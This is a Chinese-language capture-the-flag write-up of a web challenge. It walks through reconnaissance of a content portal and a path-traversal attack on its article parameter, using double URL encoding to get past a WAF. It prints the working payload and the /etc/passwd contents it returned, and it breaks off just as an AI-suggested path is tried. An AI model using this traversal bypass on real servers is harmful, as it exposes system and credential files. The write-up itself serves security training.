web
Info2Exploit
一个内部内容门户隐藏着比表面更多的信息,而某些旧版行为可能影响受保护资源的访问方式。请从站内收集线索,获取服务器中的 flag。
页面上公开了几个入口:
/ /about /repo /search?q= /article?id=首页有三篇文章分别是
/article?id=welcome.md /article?id=smart_contract_security.md /article?id=consensus_algorithms.md/repo
Git 仓库访问 内容查看器 系统消息 访问被拒 目前,正在尝试连接到去中心化的代码托管节点...... $ git clone git@chain-node:source/hyperchain-core.git Cloning into 'hyperchain-core'... Permission denied (publickey). fatal: Could not read from remote repository. Please make sure you have the correct access rights. 系统警报: 这个仓库目前处于“私人保护”模式。 最近的维护记录提到一份已存档的迁移记录,但该记录已不再在门户网站上列出。已存档的迁移记录?记一下
/about
关于此系统 当前门户及其背后的节点端内容服务概述。 建筑摘要 ChainInsight 是一个面向内部的内容门户,用于发布运营笔记、研究更新和技术文章,供边缘节点团队使用。 当前部署保持了Web层较小,并将大部分请求处理逻辑移至应用层,以便更方便迭代。 当前设计重点: 零拷贝I/O:用于高效内容传递。 自定义 HTTP 解析器:URL 规范化由内部解析器处理,以提升性能。 HyperGuard WAF:内容服务前方启用了轻量级请求检查层。 3.1.0版本目前已部署到主节点组。自定义http解析器?
试试搜索功能,随便输入个a
发现还有一个文章
/article?id=_ops_snapshot_notice.md
Archived Migration Note A maintenance record from the previous storage migration was retained in the archive set after the public index was rebuilt. The internal package label node_flag.txt was kept during that migration, and the archived note still references the old hidden snapshot namespace used by the storage service. Some legacy sync clients also replay archived requests using older encoding behavior during fallback.重点是第三段,大概意思是node_flag.txt还保留着,已归档的笔记还引用旧的隐藏快照命名空间。
反正就是记住这个文件名
接着试试任意文件读取,因为提到了自定义http解析,可以多试几种方法
提前看一眼服务
| Server | Werkzeug/3.1.8 Python/3.9.25 |
|---|
尝试读config.py
?id=../config.py触发了waf
?id=/config.py绝对路径禁止访问
单次url编码依旧waf
双重url编码提示请求的对象位于允许的存储范围之外
看来双重url编码可以绕过,尝试读取其他文件
?id=%252e%252e%252f%252e%252e%252fetc/passwd
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin后续测试发现,很多文件都会和config.py一样返回Requested object is outside the permitted storage scope.
我们尝试读取那个flag文件
?id=node_flag.txt ?id=%252e%252e%252fnode_flag.txt ?id=%252e%252e%252f%252e%252e%252fnode_flag.txt均无发现
找个字典扫一下 呃...没收获
下面交给gpt
说尝试/article?id=%252e%252e%252fprivate.....
(究竟是怎么想到的,/etc下面还有个private?)
回显